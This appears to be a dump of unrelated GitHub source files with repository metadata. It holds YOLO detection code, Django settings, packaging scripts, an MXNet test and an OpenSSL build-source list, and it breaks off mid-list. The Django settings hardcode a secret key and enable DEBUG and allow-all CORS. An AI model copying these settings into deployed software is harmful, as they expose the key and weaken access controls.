YoloBody(len(self.anchors[0]),len(self.class_names)).eval() # 加快模型训练的效率 print('Loading weights into state dict...') device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') state_dict = torch.load(self.model_path, map_location=device) self.net.load_state_dict(state_dict) print(3) if self.cuda: os.environ["CUDA_VISIBLE_DEVICES"] = '0' self.net = nn.DataParallel(self.net) self.net = self.net.cuda() print('Finished!') self.yolo_decodes = [] for i in range(3): self.yolo_decodes.append(DecodeBox(self.anchors[i], len(self.class_names), (self.model_image_size[1], self.model_image_size[0]))) print('{} model, anchors, and classes loaded.'.format(self.model_path)) # 画框设置不同的颜色 hsv_tuples = [(x / len(self.class_names), 1., 1.) for x in range(len(self.class_names))] self.colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples)) self.colors = list( map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), self.colors)) #---------------------------------------------------# # 检测图片 #---------------------------------------------------# def detect_image(self, image): image_shape = np.array(np.shape(image)[0:2]) crop_img = np.array(letterbox_image(image, (self.model_image_size[0],self.model_image_size[1]))) photo = np.array(crop_img,dtype = np.float32) photo /= 255.0 photo = np.transpose(photo, (2, 0, 1)) photo = photo.astype(np.float32) images = [] images.append(photo) images = np.asarray(images) with torch.no_grad(): images = torch.from_numpy(images) if self.cuda: images = images.cuda() outputs = self.net(images) output_list = [] for i in range(3): output_list.append(self.yolo_decodes[i](outputs[i])) output = torch.cat(output_list, 1) batch_detections = non_max_suppression(output, len(self.class_names), conf_thres=self.confidence, nms_thres=self.iou) try: batch_detections = batch_detections[0].cpu().numpy() except: return image,0 top_index = batch_detections[:,4]*batch_detections[:,5] > self.confidence top_conf = batch_detections[top_index,4]*batch_detections[top_index,5] top_label = np.array(batch_detections[top_index,-1],np.int32) top_bboxes = np.array(batch_detections[top_index,:4]) top_xmin, top_ymin, top_xmax, top_ymax = np.expand_dims(top_bboxes[:,0],-1),np.expand_dims(top_bboxes[:,1],-1),np.expand_dims(top_bboxes[:,2],-1),np.expand_dims(top_bboxes[:,3],-1) # 去掉灰条 boxes = yolo_correct_boxes(top_ymin,top_xmin,top_ymax,top_xmax,np.array([self.model_image_size[0],self.model_image_size[1]]),image_shape) font = ImageFont.truetype(font='model_data/simhei.ttf',size=np.floor(3e-2 * np.shape(image)[1] + 0.5).astype('int32')) thickness = (np.shape(image)[0] + np.shape(image)[1]) // self.model_image_size[0] a=len(top_label) for i, c in enumerate(top_label): predicted_class = self.class_names[c] score = top_conf[i] top, left, bottom, right = boxes[i] top = top #- 5 left = left #- 5 bottom = bottom #+ 5 right = right #+ 5 top = max(0, np.floor(top + 0.5).astype('int32')) left = max(0, np.floor(left + 0.5).astype('int32')) bottom = min(np.shape(image)[0], np.floor(bottom + 0.5).astype('int32')) right = min(np.shape(image)[1], np.floor(right + 0.5).astype('int32')) # 画框框 label = '{} {:.2f}'.format(predicted_class, score) draw = ImageDraw.Draw(image) label_size = draw.textsize(label, font) label = label.encode('utf-8') print(label) if top - label_size[1] >= 0: text_origin = np.array([left, top - label_size[1]]) else: text_origin = np.array([left, top + 1]) for i in range(thickness): draw.rectangle( [left + i, top + i, right - i, bottom - i], outline=self.colors[self.class_names.index(predicted_class)]) del draw return image,a # def num(self): # return self.a
[ "noreply@github.com" ]
YHJACK.noreply@github.com
e4da1c60a852bd610107e481b15b04c840883e61
306a4c0c7ed32e879f76e6c101da70c46679f6bc
/copying_files_folders.py
2ff064ba2279ee561714d6f97429272228f18007
[]
no_license
ksoh512/automatetheboringstuff
3552f803d73644862e2e31d307b50aff82b6a839
0d9ee8de7927dbe0e0f08dbfb73867ffd9bf563c
refs/heads/master
2021-01-20T03:02:14.554780
2017-08-24T22:52:37
2017-08-24T22:52:37
101,343,630
0
0
null
null
null
null
UTF-8
Python
false
false
382
py
import shutil, os os.chdir('C:\\') ''' COPY FILES ''' shutil.copy('C:\\spam.txt', 'C:\\Users\\koh\\Documents\\codes\\automattheboringstuff') shutil.copy('C:\\eggs.txt', 'C:\\Users\\koh\\Documents\\codes\\automattheboringstuff') '''COPY FOLDERS AND FILES CONTAINED IN IT''' shutil.copytree('C:\\delicious', 'C:\\Users\\koh\\Documents\\codes\\automattheboringstuff')
[ "noreply@github.com" ]
ksoh512.noreply@github.com
b250dd42d3957197303b7555e15b707a8ae78482
74a2beaf71bb19ae8262e7097a9218fa0b3ec416
/login/settings/base.py
80aac174bcaacf59d72a39909720573ae2a655bf
[]
no_license
romelgomez/djauth
30444c4903bf888f0805261370f061849804f6c9
5af1cf036cfdd7ed0869cf607069b91f6000efb6
refs/heads/master
2020-04-25T13:07:01.019580
2019-02-27T16:07:58
2019-02-27T16:07:58
172,799,247
0
0
null
null
null
null
UTF-8
Python
false
false
4,160
py
""" Django settings for login project. Generated by 'django-admin startproject' using Django 1.11.16. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '_arx*z8ba)6t#cklx(=c8*6c!8e#vgz52e6y@zkcm7e)8(5941' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.sites', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'login', 'firebase_auth', 'sslserver', 'corsheaders', 'allauth', 'rest_framework', 'allauth.account', 'allauth.socialaccount', 'allauth.socialaccount.providers.facebook', 'allauth.socialaccount.providers.google', 'allauth.socialaccount.providers.twitter', ] SOCIALACCOUNT_PROVIDERS = {'facebook': {'METHOD': 'oauth2', 'SCOPE': ['email'], 'AUTH_PARAMS': {'auth_type': 'reauthenticate'}, 'LOCALE_FUNC': lambda request: 'en_US', 'VERSION': 'v2.4' }, 'google':{}, 'twitter':{} } MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'login.urls' AUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', 'allauth.account.auth_backends.AuthenticationBackend' ) TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'login.wsgi.application' # Database # https://docs.djangoproject.com/en/1.11/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.11/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' SITE_ID = 1 CORS_ORIGIN_ALLOW_ALL = True
[ "bmxandcode@gmail.com" ]
bmxandcode@gmail.com
35c4faa52044f03193e367cc585b3dedf7d289ca
015e3902bf18a63209e04150213ef8dc07645e34
/agent/setup.py
bbc6feb840b6e1a783af5bf3a2022ccdfccd7598
[]
no_license
novucs/reinforcebot
03c6cac683c62de883e9d78742b2764bec29e1bf
43cf7c18910fc837787d068a6809fad8cdddc0d8
refs/heads/master
2022-04-19T09:32:53.487943
2020-04-20T21:14:33
2020-04-20T21:14:33
245,071,717
1
0
null
null
null
null
UTF-8
Python
false
false
647
py
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="reinforcebotagent", version="0.0.3", author="Will", author_email="contact@novucs.net", description="The ReinforceBot agent shared library", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/novucs/project", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], python_requires='>=3.6', )
[ "contact@novucs.net" ]
contact@novucs.net
e87fe364eb45e9d5da3992a2d77199da5141b4c8
680f879c2ff1f014f593177e2fbdb2f767d48934
/bin/pyrsa-keygen
1d9037e6d27ac165fa0fa2322aff1afbc14321a1
[]
no_license
zilnhoj/automate-reporting
a3df7e5ec495dc9dda4cd855b94cd88fbca76f5a
e38ef798d00ad1a1ba1d106c14e33ab3fe0c47d5
refs/heads/master
2021-01-11T12:27:34.195832
2017-01-06T11:49:28
2017-01-06T11:49:28
76,650,650
1
0
null
2017-01-04T10:28:10
2016-12-16T12:03:04
Python
UTF-8
Python
false
false
260
#!/Users/johnbyrne2/data_analysis/automate-reporting/bin/python3 # -*- coding: utf-8 -*- import re import sys from rsa.cli import keygen if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(keygen())
[ "johnbyrne2@gds5047.local" ]
johnbyrne2@gds5047.local
8977d1133ed6e6c64a446fb8f2e220189b4a1aa4
295317576714b536f5a0cf9139444f6f8c238e03
/02_06_2021/example_subs_string_02_06_2021_b3.py
1e11b46a34fc6ecd1788abca44c7077bf5aca469
[]
no_license
prope-2021-gh-classroom/repo-for-repl.it-Python
bb482f1f0c1d106601bc454a46ec2032da8def87
b33af3429281aebebdbaababc2f23c353f0f36e4
refs/heads/main
2023-06-05T07:34:23.274069
2021-06-17T02:10:02
2021-06-17T02:10:02
372,053,964
0
2
null
null
null
null
UTF-8
Python
false
false
1,031
py
string = """The merry old queen of Katoren has died and there’s no heir to the throne. Six sour ministers rule the land and claim that they’re looking for a new queen, but nothing happens – for seventeen years. Then suddenly there’s a girl standing at the door of the royal palace who was born on the night the queen died. This girl, <name> , has firmly resolved to become the new queen of Katoren and she asks the six ministers what she must do in order to be considered for the role. The ministers, afraid of losing their splendid position at court, give the girl seven almost impossible tasks, which can be brought to a successful conclusion only by one who possesses royal attributes such as wisdom, courage and self-sacrifice. The six ministers are convinced that <name> will fall at the first hurdle, but she turns out to have an amazing amount of persistence and ingenuity. """ import re name = "Ana" file = "a.txt" with open(file, "w+") as f: line=re.sub("<name>", name, string) f.write(line + "\n")
[ "" ]
c0642e90ddb142bbe67af2cbb81148287054d3d3
f07a42f652f46106dee4749277d41c302e2b7406
/Data Set/bug-fixing-5/530bd27ed2c4c8e3f6a44b332569c3f73dfcb332-<test_np_mixed_precision_binary_funcs>-fix.py
8e9d3b67eb8f1b2c486e7784f60da806ef689c24
[]
no_license
wsgan001/PyFPattern
e0fe06341cc5d51b3ad0fe29b84098d140ed54d1
cc347e32745f99c0cd95e79a18ddacc4574d7faa
refs/heads/main
2023-08-25T23:48:26.112133
2021-10-23T14:11:22
2021-10-23T14:11:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,667
py
@with_seed() @use_np def test_np_mixed_precision_binary_funcs(): def check_mixed_precision_binary_func(func, low, high, lshape, rshape, ltype, rtype): class TestMixedBinary(HybridBlock): def __init__(self, func): super(TestMixedBinary, self).__init__() self._func = func def hybrid_forward(self, F, a, b, *args, **kwargs): return getattr(F.np, self._func)(a, b) np_func = getattr(_np, func) mx_func = TestMixedBinary(func) np_test_x1 = _np.random.uniform(low, high, lshape).astype(ltype) np_test_x2 = _np.random.uniform(low, high, rshape).astype(rtype) mx_test_x1 = mx.numpy.array(np_test_x1, dtype=ltype) mx_test_x2 = mx.numpy.array(np_test_x2, dtype=rtype) rtol = (0.01 if ((ltype is np.float16) or (rtype is np.float16)) else 0.001) atol = (0.001 if ((ltype is np.float16) or (rtype is np.float16)) else 1e-05) for hybridize in [True, False]: if hybridize: mx_func.hybridize() np_out = np_func(np_test_x1, np_test_x2) with mx.autograd.record(): y = mx_func(mx_test_x1, mx_test_x2) assert (y.shape == np_out.shape) assert_almost_equal(y.asnumpy(), np_out.astype(y.dtype), rtol=rtol, atol=atol, use_broadcast=False, equal_nan=True) np_out = getattr(_np, func)(np_test_x1, np_test_x2) mx_out = getattr(mx.np, func)(mx_test_x1, mx_test_x2) assert (mx_out.shape == np_out.shape) assert_almost_equal(mx_out.asnumpy(), np_out.astype(mx_out.dtype), rtol=rtol, atol=atol, use_broadcast=False, equal_nan=True) funcs = { 'add': ((- 1.0), 1.0), 'subtract': ((- 1.0), 1.0), 'multiply': ((- 1.0), 1.0), } shape_pairs = [((3, 2), (3, 2)), ((3, 2), (3, 1)), ((3, 1), (3, 0)), ((0, 2), (1, 2)), ((2, 3, 4), (3, 1)), ((2, 3), ()), ((), (2, 3))] itypes = [np.bool, np.int8, np.int32, np.int64] ftypes = [np.float16, np.float32, np.float64] for (func, func_data) in funcs.items(): (low, high) = func_data for (lshape, rshape) in shape_pairs: for (type1, type2) in itertools.product(itypes, ftypes): check_mixed_precision_binary_func(func, low, high, lshape, rshape, type1, type2) check_mixed_precision_binary_func(func, low, high, lshape, rshape, type2, type1) for (type1, type2) in itertools.product(ftypes, ftypes): if (type1 == type2): continue check_mixed_precision_binary_func(func, low, high, lshape, rshape, type1, type2)
[ "dg1732004@smail.nju.edu.cn" ]
dg1732004@smail.nju.edu.cn
c857ff9151528d63b9708c247e5f69f6e336583d
35fd253f02db0b128fd47b5a7046f4975a8bd8ea
/env/bin/connexion
8be86c5263cd5b07c44463ad514ce50e319f3159
[]
no_license
swapnanildas/REST-API-with-Flask-Connexion
eccecab01c43e966c94d8417bcde5c499bdc4dcb
70ac45a3812681eaa2d6c489aaad7aae03ee3f96
refs/heads/master
2023-02-21T08:44:00.428932
2021-01-08T20:32:42
2021-01-08T20:32:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
262
#!/Users/farruhshahidi/Documents/2/rest_api_flask/env/bin/python3 # -*- coding: utf-8 -*- import re import sys from connexion.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "farruh.shahidi@gmail.com" ]
farruh.shahidi@gmail.com
1f325140af98baa274d5fe71faec444bd464f91f
2718dd94e63701a8efc1c0e9a4f3107780187a82
/estudiantes/migrations/0001_initial.py
9753f917681855d7aa12b50c13d703c5e67637a4
[]
no_license
luis-rios/semana5
a48f9dbdf34adfcc85442001e927bbb1af9e8d5c
c44fccf4846f085d895fbb8b9ee6c6dcff7b0cd4
refs/heads/master
2023-01-21T07:08:37.719426
2020-11-28T06:05:05
2020-11-28T06:05:05
316,667,770
0
0
null
null
null
null
UTF-8
Python
false
false
735
py
# Generated by Django 2.2.14 on 2020-11-27 23:01 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Estudiante', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=50)), ('age', models.IntegerField(default=True)), ('sex', models.CharField(max_length=15)), ('enrollment', models.IntegerField(default=True)), ('phone', models.CharField(max_length=20)), ], ), ]
[ "vvrhz11@gmail.com" ]
vvrhz11@gmail.com
28679bfa4f4cb7276146b459f4a3e30225fc87b9
da509533b6e3aaf9b6ebff9e2fca432f34127011
/manage.py
6efec09405f94f2f49504f7bdc9497efe7f81a96
[ "MIT" ]
permissive
pcodes/mhn_interface
46cf79e05a298fcdeea0139824ffdda7e972b962
d9082b0be709c3de9effee6fad25f4df376bbc07
refs/heads/master
2021-03-24T12:29:01.374943
2017-07-29T05:01:23
2017-07-29T05:01:23
94,044,471
0
0
null
null
null
null
UTF-8
Python
false
false
1,040
py
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'config.settings.local') try: from django.core.management import execute_from_command_line except ImportError: # The above import may fail for some other reason. Ensure that the # issue is really that Django is missing to avoid masking other # exceptions on Python 2. try: import django # noqa except ImportError: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) raise # This allows easy placement of apps within the interior # mhn_interface directory. current_path = os.path.dirname(os.path.abspath(__file__)) sys.path.append(os.path.join(current_path, 'mhn_interface')) execute_from_command_line(sys.argv)
[ "patcody028@gmail.com" ]
patcody028@gmail.com
31a68f6814405e7496d0cd26bda46bd785850914
9c7318e5e09764f697d2c46629e43d47dcc0177a
/18_DT_pearson.py
5f2941d3becb32d090e8b9129d0f1ba3de9c77c4
[]
no_license
deepuachar37/Data-Mining-and-Machine-Learning-Codes
c1c37f878b192f58a0f37d02700358bcb9334811
6c391bddbc957fb2c05ffc784b1caae59a5b9ef2
refs/heads/master
2020-04-29T04:44:00.568024
2019-03-15T16:37:36
2019-03-15T16:37:36
175,856,738
0
0
null
null
null
null
UTF-8
Python
false
false
2,453
py
# coding: utf-8 # In[1]: #!/usr/bin/env python # coding: utf-8 import numpy as np import pandas as pd from sklearn.metrics import confusion_matrix from sklearn.cross_validation import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import accuracy_score from sklearn.metrics import classification_report # Function importing Dataset def importdata(): winedata = pd.read_csv(r'C:/Users/deepu/Desktop/Extracted/project/preprocessed_pearsons.csv',encoding='utf-8') # Printing the dataswet shape print ("Dataset Lenght: ", len(winedata)) print ("Dataset Shape: ", winedata.shape) # Printing the dataset obseravtions print ("Dataset: ",winedata.head()) return winedata def splitdataset(winedata): # Seperating the target variable X = winedata.values[:, 1:7] Y = winedata.values[:, 0] # Spliting the dataset into train and test X_train, X_test, y_train, y_test = train_test_split( X, Y, test_size = 0.3, random_state = 100) return X, Y, X_train, X_test, y_train, y_test # Function to perform training with entropy. def train_using_entropy(X_train, X_test, y_train): # Decision tree with entropy clf_entropy = DecisionTreeClassifier( criterion = "entropy", random_state = 100, max_depth = 3, min_samples_leaf = 5) # Performing training clf_entropy.fit(X_train, y_train) return clf_entropy # Function to make predictions def prediction(X_test, clf_object): y_pred = clf_object.predict(X_test) print("Predicted values:") print(y_pred) return y_pred # Function to calculate accuracy def cal_accuracy(y_test, y_pred): print("Confusion Matrix: ", confusion_matrix(y_test, y_pred)) print ("Accuracy : ", accuracy_score(y_test,y_pred)*100) print("Report : ", classification_report(y_test, y_pred)) # Driver code def main(): # Building Phase data = importdata() X, Y, X_train, X_test, y_train, y_test = splitdataset(data) clf_entropy = train_using_entropy(X_train, X_test, y_train) print("Results Using Entropy:") # Prediction using entropy y_pred_entropy = prediction(X_test, clf_entropy) cal_accuracy(y_test, y_pred_entropy) # Calling main function if __name__=="__main__": main()
[ "noreply@github.com" ]
deepuachar37.noreply@github.com
9f04810a5f81bd09f7ade29593fa2b1164d02b78
9cd629a133a2a8fdae57a55da301636475dbcb19
/us.py
90ca64f102b219e151553645172dfaa72a663c57
[]
no_license
SpnaAggarwal/Spark
e5a4ceccfe744ec935322d394f77174ce13d86a5
40dc138ecb8ebced80a1ba4635518919bfbc29ca
refs/heads/master
2020-05-25T12:27:12.510216
2019-06-10T14:57:50
2019-06-10T14:57:50
187,798,910
0
0
null
null
null
null
UTF-8
Python
false
false
613
py
import sys sys.path.insert(0,'.') from pyspark import SparkContext,SparkConf from util import Utils def splitComma(line:str): splits=Utils.COMMA_DELIMITER.split(line) return "{},{}".format(splits[1],splits[2]) if __name__=="__main__": conf = SparkConf().setAppName("airports").setMaster("local[*]") sc = SparkContext(conf=conf) airports = sc.textFile("/home/sapna/Downloads/airports.text") airportsInIndia = airports.filter(lambda line:Utils.COMMA_DELIMITER.split(line)[3]=="\"India\"") airportsIndia = airportsInIndia.map(splitComma) airportsIndia.coalesce(1).saveAsTextFile("/home/sapna/Desktop/ans")
[ "noreply@github.com" ]
SpnaAggarwal.noreply@github.com
06cd0cf77ddd9dee4fcbd7c89f89adfef301beac
909792aae90ba32dfc6754764a8a138d5be6b218
/catalog/migrations/0006_auto_20191006_2010.py
54de49f49ab9c9ae481b6ba33bfe514cd4651696
[]
no_license
mugak/dvd-rental
e282d3525be06a15447556c204acf6596c959ed6
3be6073427b7185621ed2597dd52aaa38ee9c006
refs/heads/master
2020-08-05T20:48:15.544080
2019-10-14T23:43:25
2019-10-14T23:43:25
212,704,343
0
0
null
null
null
null
UTF-8
Python
false
false
503
py
# Generated by Django 2.2.5 on 2019-10-06 20:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('catalog', '0005_auto_20191006_2005'), ] operations = [ migrations.RemoveField( model_name='movie', name='director', ), migrations.AddField( model_name='movie', name='director', field=models.ManyToManyField(to='catalog.Director'), ), ]
[ "ukim@ucdavis.edu" ]
ukim@ucdavis.edu
e3610a8cad83673c55c26a75ec3547feeb2973bc
7d915f17983f2585cf600c1b97ae060dd48967b0
/mid_test/lacString_1.py
7df478f26b19a4032c2d36399621a20b83ab9712
[]
no_license
aduxhi/learnpython
ca8b241d0b945fa29a53ba9a3ccb46640799e141
b72144c258d07915936908214ec0a1bcd8a0c56a
refs/heads/master
2022-12-13T03:44:35.136137
2020-09-02T14:24:42
2020-09-02T14:24:42
291,760,087
0
0
null
null
null
null
UTF-8
Python
false
false
569
py
#!/usr/bin/python def laceStrings(s1, s2): """ s1 and s2 are strings. Returns a new str with elements of s1 and s2 interlaced, beginning with s1. If strings are not of same length, then the extra elements should appear at the end. """ # Your Code Here ma = max (len(s1),len(s2)) mi = min (len(s1),len(s2)) l3=[] for i2 in range(mi): l3.append(s1[i2]) l3.append(s2[i2]) if len(s1) > mi: l3.append(s1[mi:]) if len(s2) > mi: l3.append(s2[mi:]) return ''.join(l3) s1 = 'abcd' s2 = 'efghi' print laceStrings(s1, s2) #'aebfcgdhi'
[ "aduxhi@aduxhideMBP.lan1" ]
aduxhi@aduxhideMBP.lan1
9947a3418aa2766666e453d116400e76bc1b5cfe
decefb13f8a603c1f5cc7eb00634b4649915204f
/packages/node-mobile/deps/openssl/config/archs/solaris-x86-gcc/asm/openssl.gypi
60c75c7f2eafd2a30bcd31118d95d85e81e6b0a0
[ "Apache-2.0", "LicenseRef-scancode-free-unknown", "Zlib", "CC0-1.0", "ISC", "LicenseRef-scancode-public-domain", "ICU", "MIT", "LicenseRef-scancode-public-domain-disclaimer", "Artistic-2.0", "BSD-3-Clause", "NTP", "LicenseRef-scancode-unknown-license-reference", "BSD-2-Clause", "LicenseR...
permissive
open-pwa/open-pwa
f092b377dc6cb04123a16ef96811ad09a9956c26
4c88c8520b4f6e7af8701393fd2cedbe1b209e8f
refs/heads/master
2022-05-28T22:05:19.514921
2022-05-20T07:27:10
2022-05-20T07:27:10
247,925,596
24
1
Apache-2.0
2021-08-10T07:38:42
2020-03-17T09:13:00
C++
UTF-8
Python
false
false
28,783
gypi
{ 'variables': { 'openssl_sources': [ 'openssl/ssl/bio_ssl.c', 'openssl/ssl/d1_lib.c', 'openssl/ssl/d1_msg.c', 'openssl/ssl/d1_srtp.c', 'openssl/ssl/methods.c', 'openssl/ssl/packet.c', 'openssl/ssl/pqueue.c', 'openssl/ssl/record/dtls1_bitmap.c', 'openssl/ssl/record/rec_layer_d1.c', 'openssl/ssl/record/rec_layer_s3.c', 'openssl/ssl/record/ssl3_buffer.c', 'openssl/ssl/record/ssl3_record.c', 'openssl/ssl/record/ssl3_record_tls13.c', 'openssl/ssl/s3_cbc.c', 'openssl/ssl/s3_enc.c', 'openssl/ssl/s3_lib.c', 'openssl/ssl/s3_msg.c', 'openssl/ssl/ssl_asn1.c', 'openssl/ssl/ssl_cert.c', 'openssl/ssl/ssl_ciph.c', 'openssl/ssl/ssl_conf.c', 'openssl/ssl/ssl_err.c', 'openssl/ssl/ssl_init.c', 'openssl/ssl/ssl_lib.c', 'openssl/ssl/ssl_mcnf.c', 'openssl/ssl/ssl_rsa.c', 'openssl/ssl/ssl_sess.c', 'openssl/ssl/ssl_stat.c', 'openssl/ssl/ssl_txt.c', 'openssl/ssl/ssl_utst.c', 'openssl/ssl/statem/extensions.c', 'openssl/ssl/statem/extensions_clnt.c', 'openssl/ssl/statem/extensions_cust.c', 'openssl/ssl/statem/extensions_srvr.c', 'openssl/ssl/statem/statem.c', 'openssl/ssl/statem/statem_clnt.c', 'openssl/ssl/statem/statem_dtls.c', 'openssl/ssl/statem/statem_lib.c', 'openssl/ssl/statem/statem_srvr.c', 'openssl/ssl/t1_enc.c', 'openssl/ssl/t1_lib.c', 'openssl/ssl/t1_trce.c', 'openssl/ssl/tls13_enc.c', 'openssl/ssl/tls_srp.c', 'openssl/crypto/aes/aes_cbc.c', 'openssl/crypto/aes/aes_cfb.c', 'openssl/crypto/aes/aes_core.c', 'openssl/crypto/aes/aes_ecb.c', 'openssl/crypto/aes/aes_ige.c', 'openssl/crypto/aes/aes_misc.c', 'openssl/crypto/aes/aes_ofb.c', 'openssl/crypto/aes/aes_wrap.c', 'openssl/crypto/aria/aria.c', 'openssl/crypto/asn1/a_bitstr.c', 'openssl/crypto/asn1/a_d2i_fp.c', 'openssl/crypto/asn1/a_digest.c', 'openssl/crypto/asn1/a_dup.c', 'openssl/crypto/asn1/a_gentm.c', 'openssl/crypto/asn1/a_i2d_fp.c', 'openssl/crypto/asn1/a_int.c', 'openssl/crypto/asn1/a_mbstr.c', 'openssl/crypto/asn1/a_object.c', 'openssl/crypto/asn1/a_octet.c', 'openssl/crypto/asn1/a_print.c', 'openssl/crypto/asn1/a_sign.c', 'openssl/crypto/asn1/a_strex.c', 'openssl/crypto/asn1/a_strnid.c', 'openssl/crypto/asn1/a_time.c', 'openssl/crypto/asn1/a_type.c', 'openssl/crypto/asn1/a_utctm.c', 'openssl/crypto/asn1/a_utf8.c', 'openssl/crypto/asn1/a_verify.c', 'openssl/crypto/asn1/ameth_lib.c', 'openssl/crypto/asn1/asn1_err.c', 'openssl/crypto/asn1/asn1_gen.c', 'openssl/crypto/asn1/asn1_item_list.c', 'openssl/crypto/asn1/asn1_lib.c', 'openssl/crypto/asn1/asn1_par.c', 'openssl/crypto/asn1/asn_mime.c', 'openssl/crypto/asn1/asn_moid.c', 'openssl/crypto/asn1/asn_mstbl.c', 'openssl/crypto/asn1/asn_pack.c', 'openssl/crypto/asn1/bio_asn1.c', 'openssl/crypto/asn1/bio_ndef.c', 'openssl/crypto/asn1/d2i_pr.c', 'openssl/crypto/asn1/d2i_pu.c', 'openssl/crypto/asn1/evp_asn1.c', 'openssl/crypto/asn1/f_int.c', 'openssl/crypto/asn1/f_string.c', 'openssl/crypto/asn1/i2d_pr.c', 'openssl/crypto/asn1/i2d_pu.c', 'openssl/crypto/asn1/n_pkey.c', 'openssl/crypto/asn1/nsseq.c', 'openssl/crypto/asn1/p5_pbe.c', 'openssl/crypto/asn1/p5_pbev2.c', 'openssl/crypto/asn1/p5_scrypt.c', 'openssl/crypto/asn1/p8_pkey.c', 'openssl/crypto/asn1/t_bitst.c', 'openssl/crypto/asn1/t_pkey.c', 'openssl/crypto/asn1/t_spki.c', 'openssl/crypto/asn1/tasn_dec.c', 'openssl/crypto/asn1/tasn_enc.c', 'openssl/crypto/asn1/tasn_fre.c', 'openssl/crypto/asn1/tasn_new.c', 'openssl/crypto/asn1/tasn_prn.c', 'openssl/crypto/asn1/tasn_scn.c', 'openssl/crypto/asn1/tasn_typ.c', 'openssl/crypto/asn1/tasn_utl.c', 'openssl/crypto/asn1/x_algor.c', 'openssl/crypto/asn1/x_bignum.c', 'openssl/crypto/asn1/x_info.c', 'openssl/crypto/asn1/x_int64.c', 'openssl/crypto/asn1/x_long.c', 'openssl/crypto/asn1/x_pkey.c', 'openssl/crypto/asn1/x_sig.c', 'openssl/crypto/asn1/x_spki.c', 'openssl/crypto/asn1/x_val.c', 'openssl/crypto/async/arch/async_null.c', 'openssl/crypto/async/arch/async_posix.c', 'openssl/crypto/async/arch/async_win.c', 'openssl/crypto/async/async.c', 'openssl/crypto/async/async_err.c', 'openssl/crypto/async/async_wait.c', 'openssl/crypto/bf/bf_cfb64.c', 'openssl/crypto/bf/bf_ecb.c', 'openssl/crypto/bf/bf_ofb64.c', 'openssl/crypto/bf/bf_skey.c', 'openssl/crypto/bio/b_addr.c', 'openssl/crypto/bio/b_dump.c', 'openssl/crypto/bio/b_print.c', 'openssl/crypto/bio/b_sock.c', 'openssl/crypto/bio/b_sock2.c', 'openssl/crypto/bio/bf_buff.c', 'openssl/crypto/bio/bf_lbuf.c', 'openssl/crypto/bio/bf_nbio.c', 'openssl/crypto/bio/bf_null.c', 'openssl/crypto/bio/bio_cb.c', 'openssl/crypto/bio/bio_err.c', 'openssl/crypto/bio/bio_lib.c', 'openssl/crypto/bio/bio_meth.c', 'openssl/crypto/bio/bss_acpt.c', 'openssl/crypto/bio/bss_bio.c', 'openssl/crypto/bio/bss_conn.c', 'openssl/crypto/bio/bss_dgram.c', 'openssl/crypto/bio/bss_fd.c', 'openssl/crypto/bio/bss_file.c', 'openssl/crypto/bio/bss_log.c', 